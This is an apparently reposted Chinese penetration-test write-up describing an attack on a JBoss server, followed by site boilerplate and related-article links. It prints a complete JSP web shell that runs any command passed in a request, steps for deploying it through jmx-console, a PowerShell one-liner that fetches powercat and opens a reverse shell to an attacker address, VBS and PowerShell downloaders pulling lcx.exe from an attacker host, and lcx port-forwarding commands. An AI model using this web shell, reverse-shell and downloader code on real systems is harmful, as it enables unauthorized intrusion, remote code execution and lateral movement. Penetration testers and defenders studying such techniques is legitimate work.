0
  • 聊天消息
  • 系統(tǒng)消息
  • 評論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

一次不完美的Jboss滲透

jf_Fo0qk3ln ? 來源:先知社區(qū) ? 2023-03-07 10:54 ? 次閱讀

一.前言

最近做滲透測試中遇到一個jboss的站,在其中學(xué)到一些在乙方工作挺有用的技巧(這次測試是進(jìn)過授權(quán)測試)在次分享一下

二.信息收集

先通過namp進(jìn)行掃描,同時(shí)進(jìn)行目錄掃描,發(fā)現(xiàn)8080/jmx-console/,發(fā)現(xiàn)是jboss的站,百度到j(luò)boss可以部署war包getshell,訪問http://xxxx:8080//jmx-console/

三.漏洞利用

全局搜索jboss.system,點(diǎn)擊進(jìn)入

571dc0be-bc74-11ed-bfe3-dac502259ad0.png

1.制作war包把木馬文件gg.jsp(我是一個直接執(zhí)行命令代碼)用壓縮軟件壓縮為zip,然后更改后綴為war,然后將該war上傳到互聯(lián)網(wǎng)上能夠訪問的網(wǎng)
站上

	//gg.jsp <%@ page contentType="text/html;charset=big5" session="false" import="java.io.*" %> <html> <head> <title>title> <meta http-equiv="Content-Type" content="text/html; charset=big5"> head> <body> <% Runtime runtime = Runtime.getRuntime(); Process process =null; String line=null; InputStream is =null; InputStreamReader isr=null; BufferedReader br =null; String ip=request.getParameter("cmd"); try { process =runtime.exec(ip); is = process.getInputStream(); isr=new InputStreamReader(is); br =new BufferedReader(isr); out.println("
"); while( (line = br.readLine()) != null ) { out.println(line); out.flush(); } out.println("
"
); is.close(); isr.close(); br.close(); } catch(IOException e ) { out.println(e); runtime.exit(1); } %> body> html> 我這里就用python 簡單創(chuàng)建個ftp服務(wù)(這也是python的一個巧用)

	python -m SimpleHTTPServer 8589 

57368a18-bc74-11ed-bfe3-dac502259ad0.png

57513926-bc74-11ed-bfe3-dac502259ad0.png

2.進(jìn)入jboss.system頁面找到如下,填入遠(yuǎn)程的war文件地址

5764818e-bc74-11ed-bfe3-dac502259ad0.png

成功部署的界面如下

57b992c8-bc74-11ed-bfe3-dac502259ad0.png

3.訪問shell地址,并執(zhí)行命令

581b2024-bc74-11ed-bfe3-dac502259ad0.png

四.進(jìn)一步滲透

1.在獲得php shell的基礎(chǔ)上,我們需要一個真正的cmd shell,這樣有利于操作,進(jìn)過nmap掃描,發(fā)現(xiàn)是windows,我們可以通過powershell進(jìn)行shell反彈

	powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c ip -p port -e cmd 

5836da6c-bc74-11ed-bfe3-dac502259ad0.png

本地監(jiān)聽,成功獲取一個cmd shell,接下來就是提權(quán)了

585f11ee-bc74-11ed-bfe3-dac502259ad0.png

2.在cmd 中查看端口開放信息,3389和445都開放了 想到了永恒之藍(lán)打一波,先看看打沒打永恒之藍(lán)的補(bǔ)丁,和看看系統(tǒng)信息,發(fā)現(xiàn)打了很多補(bǔ)丁

58820c8a-bc74-11ed-bfe3-dac502259ad0.png

可以通過如下鏈接查看補(bǔ)丁編號 網(wǎng)址:https://micro8.gitbook.io/micro8/contents-1/1-10/1windows-ti-quan-kuai-su-cha-zhao-exp 查找永恒之藍(lán)補(bǔ)丁編號進(jìn)行比對發(fā)現(xiàn)該目標(biāo)機(jī)器并沒打補(bǔ)丁

58b30f9c-bc74-11ed-bfe3-dac502259ad0.png

58f140f0-bc74-11ed-bfe3-dac502259ad0.png

3.看端口掃描結(jié)果,3389過濾了,445也過濾了,只有端口轉(zhuǎn)發(fā)再打了

5926d6e8-bc74-11ed-bfe3-dac502259ad0.png

4.先在shell中查看有那些任務(wù),看看有沒殺毒軟件,初看沒有,但后來才發(fā)現(xiàn)了,居然有卡巴斯基

5949d832-bc74-11ed-bfe3-dac502259ad0.png

5.沒事就到處瀏覽目錄查看內(nèi)容(發(fā)現(xiàn)google賬號密碼居然記錄在txt文件中),發(fā)現(xiàn)任何目錄都能瀏覽和看信息,就懷疑這個用戶的權(quán)限,趕緊看了哈…居然是administrator 組的,那提權(quán)就不用了澀,但還是想3389連進(jìn)去

5967c23e-bc74-11ed-bfe3-dac502259ad0.png

6.打算用vbs下載一個lcx或者EarthWorm進(jìn)行端口轉(zhuǎn)發(fā),vbs下載代碼,一般下載在C:WindowsTemp目錄下,可讀可寫vbs下載代碼

	echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs echo Post.Open "GET","http://ip/lcxx/lcx.exe",0 >>download.vbs echo Post.Send() >>download.vbs echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs echo aGet.Mode = 3 >>download.vbs echo aGet.Type = 1 >>download.vbs echo aGet.Open() >>download.vbs echo aGet.Write(Post.responseBody) >>download.vbs echo aGet.SaveToFile "C:WindowsTemp2.txt",2 >>download.vbspowershell 下載代碼

	powershell (new-object System.Net.WebClient).DownloadFile( 'http://ip:7667/lcxx/lcx.exe','C:WindowsTemp2.txt')7.當(dāng)自己寫進(jìn)去了后,更名為exe執(zhí)行的時(shí)候,被殺了,最后又看了下任務(wù),才發(fā)現(xiàn)卡巴斯基,然后就一直被卡在這里8.lcx命令如下lcx 命令

	//被攻擊機(jī)器 lcx -slave 自己外網(wǎng)ip 51 內(nèi)網(wǎng)ip 3389 //攻擊機(jī)器 lcx.exe -listen 51 9090由于防火墻限制,部分端口如3389無法通過防火墻,此時(shí)可以將該目標(biāo)主機(jī)的3389端口透傳到防火墻允許的其他端口,如53端口.

	lcx -tran 53 目標(biāo)主機(jī)ip 3389

總結(jié)

雖然暫時(shí)沒有成功,但從中還是學(xué)到許多滲透知識,也明白了實(shí)戰(zhàn)能提高許多技術(shù)。不足就是知識不夠,還需努力。


審核編輯 :李倩


聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請聯(lián)系本站處理。 舉報(bào)投訴
  • 漏洞
    +關(guān)注

    關(guān)注

    0

    文章

    203

    瀏覽量

    15259
  • 滲透
    +關(guān)注

    關(guān)注

    0

    文章

    19

    瀏覽量

    6254
  • Shell
    +關(guān)注

    關(guān)注

    1

    文章

    359

    瀏覽量

    23192

原文標(biāo)題:實(shí)戰(zhàn)|一次不完美的Jboss滲透

文章出處:【微信號:菜鳥學(xué)信安,微信公眾號:菜鳥學(xué)信安】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。

收藏 人收藏

    評論

    相關(guān)推薦

    不完美的伴侶機(jī)器人?

    在與人類交互的過程中,表現(xiàn)出與人類相似的不完美,我們就有信心建立起長期的人機(jī)關(guān)系。”  位研究員在接受BBC采訪時(shí)說,機(jī)器人的開發(fā)取決于用途,工業(yè)機(jī)器人當(dāng)然需要很完美,我們不希望它們犯錯誤。但是對伴侶機(jī)器人來說,它們的行為很重
    發(fā)表于 12-28 14:42

    Linux環(huán)境下怎么安裝配置JBoss

    系統(tǒng)信息操作系統(tǒng):CentOS 7JDK版本:1.8 JBoss版本:JBoss EAP 6.2
    發(fā)表于 07-18 08:12

    讓STM32完美的處理字符串

    今天因?yàn)橄胱孲TM32完美的處理字符串,所以就想著讓STM32嵌入lua,本來想用f103c8t6,但是編譯就提示內(nèi)存不足......所以單片機(jī)的型號選擇的\我下載到了RBT6的芯片上測試的先說
    發(fā)表于 08-20 08:11

    循環(huán)充放電一次就是少一次壽命嗎?

    循環(huán)充放電一次就是少一次壽命嗎?循環(huán)就是使用,我們是在使用電池,關(guān)心的是使用的時(shí)間,為了衡量充電電池的到底可以使用多長時(shí)間這樣個性能,就規(guī)定了循環(huán)
    發(fā)表于 09-07 02:06 ?1981次閱讀

    一次波過程的等值電路

    一次波過程的等值電路 圖 一次波過程的等值電路 在電動機(jī)端子上安裝阻抗匹配器可
    發(fā)表于 07-18 11:24 ?1651次閱讀
    <b class='flag-5'>一次</b>波過程的等值電路

    一次電池為什么不能被充電?

    一次電池為什么不能被充電? 一次電池不能被充電再生是構(gòu)成一次電池體系的本性所決定的,因?yàn)?b class='flag-5'>一次電池的電極反應(yīng)不可逆,也就是說,放電后的放電產(chǎn)
    發(fā)表于 10-28 15:29 ?5670次閱讀

    循環(huán)充放電一次就是少一次壽命嗎?

    循環(huán)充放電一次就是少一次壽命嗎?     循環(huán)就是使用,我們是在使用電池,關(guān)心的是使
    發(fā)表于 11-11 13:59 ?828次閱讀

    電池循環(huán)充放電一次就是少一次壽命嗎?

    電池循環(huán)充放電一次就是少一次壽命嗎? 循環(huán)就是使用,我們是在使用電池,關(guān)心的是使用的時(shí)間,為了衡量充電電池
    發(fā)表于 09-06 11:05 ?3581次閱讀

    游戲AI的前世今生,完美的目標(biāo)不完美的世界

    。AlphaGo Zero的第一次嘗試是完全隨機(jī)的,在每場比賽結(jié)束后,它都會對所取得勝利和未取勝的新知識進(jìn)行總結(jié)。經(jīng)過訓(xùn)練,最后這個AI和曾擊敗過李世石的AlphaGo直接對決,以100比0拿下了徹底的勝利。
    的頭像 發(fā)表于 08-28 09:00 ?3023次閱讀

    微軟SurfaceHeadphones無線降噪耳機(jī)體驗(yàn) 一次驚艷但不完美的嘗試

    隨著越來越多的手機(jī)選擇砍掉 3.5 毫米耳機(jī)插孔,無線藍(lán)牙耳機(jī)從前幾年的小眾產(chǎn)品迅速變成了很多用戶的剛需。
    的頭像 發(fā)表于 04-23 09:58 ?5832次閱讀

    電氣一次識圖基礎(chǔ)

    電氣一次識圖基礎(chǔ)
    的頭像 發(fā)表于 11-12 11:24 ?2002次閱讀

    記腳本小子的一次滲透全過程

    .前言 在一次綜合滲透的過程中遇到的比較完整的滲透流程。很多現(xiàn)查的技巧,這次滲透的基礎(chǔ)是基
    的頭像 發(fā)表于 06-14 09:21 ?474次閱讀
    記腳本小子的<b class='flag-5'>一次</b><b class='flag-5'>滲透</b>全過程

    一次電池與二電池介紹

    電池大致可分為“一次電池”和“二電池”。 “一次電池”是一次用完就處理掉的一次性電池, 而可以反復(fù)充電循環(huán)使用的電池稱為“二
    的頭像 發(fā)表于 07-05 17:24 ?4156次閱讀
    <b class='flag-5'>一次</b>電池與二<b class='flag-5'>次</b>電池介紹

    一次調(diào)頻和二調(diào)頻的概念 一次調(diào)頻可以實(shí)現(xiàn)無差調(diào)節(jié)?

    一次調(diào)頻和二調(diào)頻的概念 一次調(diào)頻可以實(shí)現(xiàn)無差調(diào)節(jié)? 一次調(diào)頻和二調(diào)頻的概念 1.
    的頭像 發(fā)表于 10-17 16:15 ?8024次閱讀

    基波是一次諧波么 基波與一次諧波的區(qū)別

    基波是一次諧波么 基波與一次諧波的區(qū)別? 基波和一次諧波是兩個不同的概念。 基波是在諧波分析中指的是頻率最低且沒有任何諧波成分的波形,它是構(gòu)成復(fù)雜波形的基礎(chǔ)。在正弦波中,基波就是正弦波的本身。基波
    的頭像 發(fā)表于 04-08 17:11 ?4052次閱讀